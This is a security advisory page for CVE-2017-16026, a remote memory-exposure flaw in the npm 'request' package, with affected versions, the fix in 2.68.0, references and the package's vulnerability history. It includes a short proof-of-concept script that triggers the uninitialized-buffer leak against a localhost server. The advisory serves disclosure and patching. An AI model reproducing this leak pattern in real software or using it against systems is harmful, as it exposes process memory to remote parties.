Remote Memory Exposure in request
Affected versions of request will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of body is number, then a buffer of that size will be allocated and sent to the remote server as the body.
Proof of Concept
var request = require('request');
var http = require('http');
var serveFunction = function (req, res){
req.on('data', function (data) {
console.log(data)
});
res.end();
};
var server = http.createServer(serveFunction);
server.listen(8000);
request({
method: "POST",
uri: 'http://localhost:8000',
multipart: [{body:500}]
},function(err,res,body){});Recommendation
Update to version 2.68.0 or later
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | request | >= 2.49.0, < 2.68.0, >= 2.2.6, < 2.68.0 | 2.68.0 |
References
- https://nvd.nist.gov/vuln/detail/CVE-2017-16026
- https://github.com/request/request/issues/1904
- https://github.com/request/request/pull/2018
- https://github.com/request/request/pull/2022
- https://github.com/request/request/commit/29d81814bc16bc79cb112b4face8be6fc00061dd
- https://github.com/request/request
- CVSS vector
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N- Weakness (CWE)
CWE-201- Platform
- npm
- Package
request- Disclosed
- 09.11.2018
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-7xfp-9c55-5vqj - CC BY 4.0
Vulnerability history: request
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 2
- First → latest
- 11.2018 03.2023
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- Medium 2
Disclosures per year
- 2018: 1
- 2019: 0
- 2020: 0
- 2021: 0
- 2022: 0
- 2023: 1
- 2024: 0
- 2025: 0
- 2026: 0
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